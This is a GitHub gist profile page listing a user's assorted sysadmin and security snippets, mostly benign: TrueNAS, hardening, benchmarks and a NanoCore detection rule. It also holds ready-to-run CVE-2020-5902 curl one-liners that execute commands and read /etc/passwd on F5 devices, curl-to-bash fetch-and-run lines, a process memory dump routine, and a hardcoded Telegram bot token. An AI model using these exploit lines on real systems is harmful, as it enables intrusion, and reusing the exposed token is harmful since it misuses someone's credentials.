Skip to content

Instantly share code, notes, and snippets.

View Zobber's full-sized avatar
🎯
Focus

Erick Z Zobber

🎯
Focus
4 followers · 4 following
  • Universidad Nacional Abierta y a Distancia
  • Colombia
View GitHub Profile
@Zobber
Zobber / api_telegram_notification
Created September 14, 2020 18:32
<?php
$apiToken = "854842803:AAEGwx06SX7DfiPTTfzqSOOdG11VdC9IDaY";
$data = [
'chat_id' => '1001934878',
'text' => 'Nuevo registro'
];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
// Do what you want with result
@Zobber
Zobber / TrueNAS Active Directory (AD) and more...
Last active September 30, 2022 21:37
## Check information about the AD
net ads info join status workgroup gpo dns user
## Commands for to verify the conection established with AD
1) sqlite3 /data/freenas-v1.db "UPDATE directoryservice_activedirectory SET ad_enable=1"
2) service ix-hostname start
3) service ix-kerberos start
@Zobber
Zobber / gist:cd9395fc1186362f041f834352c21571
Created July 5, 2020 19:18
cve-2020-5902 :
RCE: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Read File: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
@Zobber
Zobber / extract urls
Created June 21, 2020 00:40
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
@Zobber
Zobber / windows_hardening.cmd
Created May 12, 2020 20:59 — forked from mackwage/windows_hardening.cmd
Script to perform some hardening of Windows OS
:: Windows 10 Hardening Script
:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering.
:: Obligatory 'views are my own'. :)
:: Thank you @jaredhaight for the Win Firewall config recommendations!
:: Thank you @ricardojba for the DLL Safe Order Search reg key!
:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
:
@Zobber
Zobber / dump a linux processs memory to file
Created May 12, 2020 00:50
##### Pure bash
procdump()
(
cat /proc/$1/maps | grep "rw-p" | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
)
@Zobber
Zobber / Suricata Malware
Created May 5, 2020 02:54
#Suricata_IDS #malwoverview/files extraidos por * carpetas
find -name 'file.*.meta' | while read malware ; do rg 'MAGIC:' $malware | rg -i "executable|applicat|PE32|zip" -l $malware |cut -f1-3 -d. ; done | xargs -I% /tools/malwo/malwoverview.py -p 1 -f % -v 1 -s 1 -x 1 -b 1 -i 1
@Zobber
Zobber / GPG Keys & Sourcelist Linux
Created May 1, 2020 02:19
cat /etc/apt/sources.list | grep -v "#"
ls -l /etc/apt/sources.list.d/
apt-key list
gpg --keyserver keys.gnupg.net --recv 67ECE5605BCF1346
gpg --export 67ECE5605BCF1346 | apt-key add -
or
@Zobber
Zobber / VPS Benchmark
Created April 29, 2020 23:26
wget -qO- bench.sh | bash
(curl -s wget.racing/nench.sh | bash; curl -s wget.racing/nench.sh | bash) 2>&1 | tee nench.log
wget http://busylog.net/FILES2DW/busytest.sh -O - -o /dev/null | bash
wget https://raw.githubusercontent.com/hidden-refuge/bench-sh-2/master/bench.sh && chmod +x bench.sh && ./bench.sh
@Zobber
Zobber / NanoCore snort Suricata
Created April 28, 2020 20:21
alert tcp any any -> any any (msg:"NanoCore RAT CnC"; flow:to_server,established; content:"|40 00 00 00 fe 31 80 44 e7 eb 4a 77|"; depth:12; reference:md5,18fe62a701d08affdd58ade2df0d1fb6; classtype:command-and-control; sid:20166322; rev:1; metadata:created_at 2020_4_23;)